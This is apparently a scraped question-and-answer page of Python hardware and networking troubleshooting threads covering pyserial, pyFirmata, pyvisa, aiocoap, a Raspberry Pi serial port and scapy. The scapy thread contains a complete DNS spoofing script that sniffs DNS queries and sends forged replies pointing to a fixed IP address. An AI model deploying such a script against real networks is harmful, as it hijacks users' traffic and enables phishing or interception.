win32.SetCommState with Pyserial in win10 - python

Until recently I was happily using win7 + pythonX and pyserial.
Lately I upgraded to win10, now I have a problem running some python serial code which I had working on win7.
However I can even run the simple example from: Full examples of using pySerial package
What I get is the same error, on all pyserial related codes:
Traceback (most recent call last):
File ".\t.py", line 10, in
bytesize=serial.SEVENBITS
File "C:\Python37\lib\site-packages\serial\serialwin32.py", line 31, in init
super(Serial, self).init(*args, **kwargs)
File "C:\Python37\lib\site-packages\serial\serialutil.py", line 240, in init
self.open()
File "C:\Python37\lib\site-packages\serial\serialwin32.py", line 78, in open
self._reconfigure_port()
File "C:\Python37\lib\site-packages\serial\serialwin32.py", line 222, in _reconfigure_port
'Original message: {!r}'.format(ctypes.WinError()))
serial.serialutil.SerialException: Cannot configure port, something went wrong. Original message: OSError(22, 'The parameter is incorrect.', None, 87)
however I found out that the reason for this is the exception raised by a call "win32.SetCommState(self._port_handle, ctypes.byref(comDCB)):" from serialwin32.py
This call returns 0, indicating something is wrong, but when i comment it out then I can get the serial communication working again, anyone else experienced this ? any idea why this is happening ?

Related

Pyfirmata throws error after creating arduino object

I'm trying to start an arduino project but every time I try running it it throws an error. I think I might have gotten some of the setup wrong?
I've uploaded the Standard Firmata Sketch to the Arduino Mega and installed pyFirmata. I can't really think of what else I could've done wrong.
Note that I'd already tried in another computer and, while it didn't really work, the board was initialized and it didn't throw any error like this
This is my python code
import pyfirmata as pf
board = pf.ArduinoMega('COM5')
And this is the eror thrown
Traceback (most recent call last):
File "C:\Users\stiky\Desktop\Code\Python Codes\Arduino\test.py", line 3, in <module>
board = pf.ArduinoMega('COM5')
^^^^^^^^^^^^^^^^^^^^^^
File "C:\Users\stiky\AppData\Local\Programs\Python\Python311\Lib\site-packages\pyfirmata\__init__.py", line 32, in __init__
super(ArduinoMega, self).__init__(*args, **kwargs)
File "C:\Users\stiky\AppData\Local\Programs\Python\Python311\Lib\site-packages\pyfirmata\pyfirmata.py", line 101, in __init__
self.setup_layout(layout)
File "C:\Users\stiky\AppData\Local\Programs\Python\Python311\Lib\site-packages\pyfirmata\pyfirmata.py", line 157, in setup_layout
self._set_default_handlers()
File "C:\Users\stiky\AppData\Local\Programs\Python\Python311\Lib\site-packages\pyfirmata\pyfirmata.py", line 161, in _set_default_handlers
self.add_cmd_handler(ANALOG_MESSAGE, self._handle_analog_message)
File "C:\Users\stiky\AppData\Local\Programs\Python\Python311\Lib\site-packages\pyfirmata\pyfirmata.py", line 185, in add_cmd_handler
len_args = len(inspect.getargspec(func)[0])
^^^^^^^^^^^^^^^^^^
AttributeError: module 'inspect' has no attribute 'getargspec'. Did you mean: 'getargs'?
What am I doing wrong?
This is probably a compatibility issue between PyFirmata and your Python version.
getargspec is deprecated since Python 3.11.
An up-to-date PyFirmata version should have replaced this by getfullargspec.
https://github.com/tino/pyFirmata/commit/1f6b116b80172e70c7866d595120413078ae1222
Also the PyFirmata documentations says
It runs on Python 2.7, 3.6 and 3.7.
So I would not necessarily expect 3.11 to run without problems.

Scope Tektronix TDS 1012 gives an error with pyvisa

I'm trying to connect a Tektronix TDS 1012B oscilloscope to my PC using Pyvisa.
I'm using Kubuntu 20.04, Python version 3.9.7 and Pyvisa version 1.11.3.
I do the following :
>>> import pyvisa
>>> rm = pyvisa.ResourceManager()
>>> rm.list_resources()
('USB0::1689::870::C021027::0::INSTR')
>>> scope = rm.open_resource('USB0::1689::870::C021027::0::INSTR')
>>> scope.query("*IDN?")
But I get this error message:
Traceback (most recent call last):
File "/home/pierre/anaconda3/lib/python3.9/site-packages/pyvisa_py/protocols/usbtmc.py", line 256, in write
return self.usb_send_ep.write(data)
File "/home/pierre/anaconda3/lib/python3.9/site-packages/usb/core.py", line 408, in write
return self.device.write(self, data, timeout)
File "/home/pierre/anaconda3/lib/python3.9/site-packages/usb/core.py", line 989, in write
return fn(
File "/home/pierre/anaconda3/lib/python3.9/site-packages/usb/backend/libusb1.py", line 837, in bulk_write
return self.__write(self.lib.libusb_bulk_transfer,
File "/home/pierre/anaconda3/lib/python3.9/site-packages/usb/backend/libusb1.py", line 938, in __write
_check(retval)
File "/home/pierre/anaconda3/lib/python3.9/site-packages/usb/backend/libusb1.py", line 602, in _check
raise USBTimeoutError(_strerror(ret), ret, _libusb_errno[ret])
usb.core.USBTimeoutError: [Errno 110] Operation timed out
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/home/pierre/anaconda3/lib/python3.9/site-packages/pyvisa/resources/messagebased.py", line 638, in query
self.write(message)
File "/home/pierre/anaconda3/lib/python3.9/site-packages/pyvisa/resources/messagebased.py", line 197, in write
count = self.write_raw(message.encode(enco))
File "/home/pierre/anaconda3/lib/python3.9/site-packages/pyvisa/resources/messagebased.py", line 157, in write_raw
return self.visalib.write(self.session, message)[0]
File "/home/pierre/anaconda3/lib/python3.9/site-packages/pyvisa_py/highlevel.py", line 543, in write
written, status_code = self.sessions[session].write(data)
File "/home/pierre/anaconda3/lib/python3.9/site-packages/pyvisa_py/usb.py", line 179, in write
count = self.interface.write(data)
File "/home/pierre/anaconda3/lib/python3.9/site-packages/pyvisa_py/protocols/usbtmc.py", line 436, in write
bytes_sent += raw_write(data)
File "/home/pierre/anaconda3/lib/python3.9/site-packages/pyvisa_py/protocols/usbtmc.py", line 258, in write
raise ValueError(str(e))
ValueError: [Errno 110] Operation timed out
When I use another type of oscilloscope this very simple code works fine. And when I use Pyvisa under Windows instead of Kubuntu, it also works.
Can someone help me fix this annoying issue?
Check out this link to a post from Tek in Tek's forums. They suggest using the pyvisa-py native Python VISA backend. This command instructs to use the pyvisa-py backend
rm = visa.ResourceManager('#py')
and you install by
pip install pyvisa-py
I don't have an Ubuntu machine at my fingertips so I don't know if there are packages available for installing from apt.
Connecting my TBS 1064 in SUSE has problems due to write permissions. This results in an time-out on requests like ask(). It is likely due to udev/rules, although I did not figure out what to put exactly to make it always work. For now one has to put the write permission (admin) for every USB reconnect, but then it is working.
Other devices do not have this problem and it is only a linux issue.

Trying to connect to coap resource with python library

So im trying to connect to a CoaP Resource using this python library https://github.com/chrysn/aiocoap . The library uses python 3.4 and i have 3.4 installed and set as the interpreter to use with this (Im on Windows 7 btw). Still im getting this error message, when executing the clientGET.py file. Same for the server file.
C:\Python34\python.exe C:/Learning/PyCoap/aiocoap/clientGET.py
Traceback (most recent call last):
File "C:/Learning/PyCoap/aiocoap/clientGET.py", line 34, in <module>
asyncio.get_event_loop().run_until_complete(main())
File "C:\Python34\lib\asyncio\base_events.py", line 268, in run_until_complete
return future.result()
File "C:\Python34\lib\asyncio\futures.py", line 277, in result
raise self._exception
File "C:\Python34\lib\asyncio\tasks.py", line 236, in _step
result = next(coro)
File "C:/Learning/PyCoap/aiocoap/clientGET.py", line 20, in main
protocol = yield from Context.create_client_context()
File "C:\Learning\PyCoap\aiocoap\aiocoap\protocol.py", line 510, in create_client_context
transport, protocol = yield from loop.create_datagram_endpoint(protofact, family=socket.AF_INET6)
File "C:\Python34\lib\asyncio\base_events.py", line 675, in create_datagram_endpoint
waiter)
File "C:\Python34\lib\asyncio\selector_events.py", line 68, in _make_datagram_transport
address, waiter, extra)
File "C:\Python34\lib\asyncio\selector_events.py", line 911, in __init__
super().__init__(loop, sock, protocol, extra)
File "C:\Python34\lib\asyncio\selector_events.py", line 452, in __init__
self._extra['sockname'] = sock.getsockname()
OSError: [WinError 10022] Ein ungultiges Argument wurde angegeben
Process finished with exit code 1
I didn't explore this in a real Python, as I don't have a Windows machine with Python 3.4 handy, but it seems to me that this could be a bug in asyncio. Its UDP socket creation probably simply doesn't work on Windows. Do some experimenting on the lower level, looking at what aiocoap is doing, and try to prove me wrong.
It's supposed to work, documentation only mentions ProactorEventLoop as not supporting UDP.
The error condition is described in Socket.error: Invalid Argument supplied .
aiocoap.protocol.Context.create_client_context() seems to be doing the right thing according to asyncio documentation, but _SelectorTransport.__init__() will always call sock.getsockname() before any packets are sent, at which point the socket will not be bound to an address (according to the linked SO question) and getsockname() will fail on Windows.
You might want to retry with a current version of Python and aiocoap (current development version, after 0.4a1). Windows used not to be supported in aiocoap, and is still not supporting all of CoAP, but now uses a socket implementation that is aware of some limitations in the Windows socket API.

scapy OSError: [Errno 9] Bad file descriptor

I'm using python 2.7 and scapy-2.2.0 in windows xp.
I'm trying dns spoofing and it works well in python. but when I make to .exe and execute it, I got this error
Traceback (most recent call last):
File "dns_spoof.py", line 17, in <module>
File "scapy\arch\windows\__init__.pyc", line 523, in sniff
File "dns_spoof.py", line 15, in dns_spoof
File "scapy\sendrecv.pyc", line 251, in send
File "scapy\sendrecv.pyc", line 237, in __gen_send
OSError: [Errno 9] Bad file descriptor
How can I fix it? Please help.
This is source code.
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
from scapy.all import *
except:
from scapy import *
def dns_spoof(pkt):
redirect_to = '172.16.22.91'
if pkt.haslayer(DNSQR): # DNS question record
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=redirect_to))
send(spoofed_pkt)
print 'Sent:', spoofed_pkt.summary()
sniff(filter='udp port 53', iface='eth0', store=0, prn=dns_spoof)
I had the same error when I tried send(IP(dst="1.2.3.4")/ICMP()), and I found on github that my problem was that I was using IDLE instead of the Command Prompt/Powershell on windows.
This is the output in the Powershell:
>>> send(IP(dst="1.2.3.4")/ICMP())
.
Sent 1 packets.
Maybe this is not the problem OP had, but this is the first thread on Google so it might help someone.
It looks like a wrong file descriptor (handle) is being used. E.g. something open as stdout (pipe) is used as a socket.
If I understand correctly, same program works from source and fails when rolled into an exe. Am I right?
If you ran it on linux, you would use strace to figure out which.
Equivalent tools on windows are Process Monitor and Logger.exe.

Python code error message that I don't understand

I am having problems decoding this error message for the python on my Raspberry Pi. Please don't tell me to head to that SE, they sent me here as no one really knew what it means. It is from [GitHub][1]
Here is the error output:
Traceback (most recent call last):
File "/home/pi/piarduino/MissionControl-master/mcDesk.py", line 8, in <module> serialFromArduino = serial.Serial("/dev/serial/by-id/usb-FTDI_FTDI_FT232R_USB_UART_A900aepy-if800-port0", 115200)
File "/usr/lib/python2.7/dist-packages/serial/serialutil.py", line 260, in __init__
self.open()
File "/usr/lib/python2.7/dist-packages/serial/serialposix.py", line 276, in open
raise SerialException("could not open por %s: %s" % (self._port, msg))
SerialException: could not open port /dev/serial/by-id/usb-FTDI_FTDI_FT232R_USB_UART_A900aepy-if800-port0: [Errno 2] No such file or directory: '/dev/serial/by-id/usb-FTDI_FTDI_FT232R_USB_UART_A900aepy-if800-port0'
Basic troubleshooting:
Try running your script as root using sudo. It's possible you're being denied access to the serial port.
Run ls /dev/serial/by-id in a shell. Make sure the serial port you are trying to open exists and matches exactly with the port you're trying to open in your program.
If neither of those options work, try these steps.
If you care to update your question with more details, we may be able to help you further.

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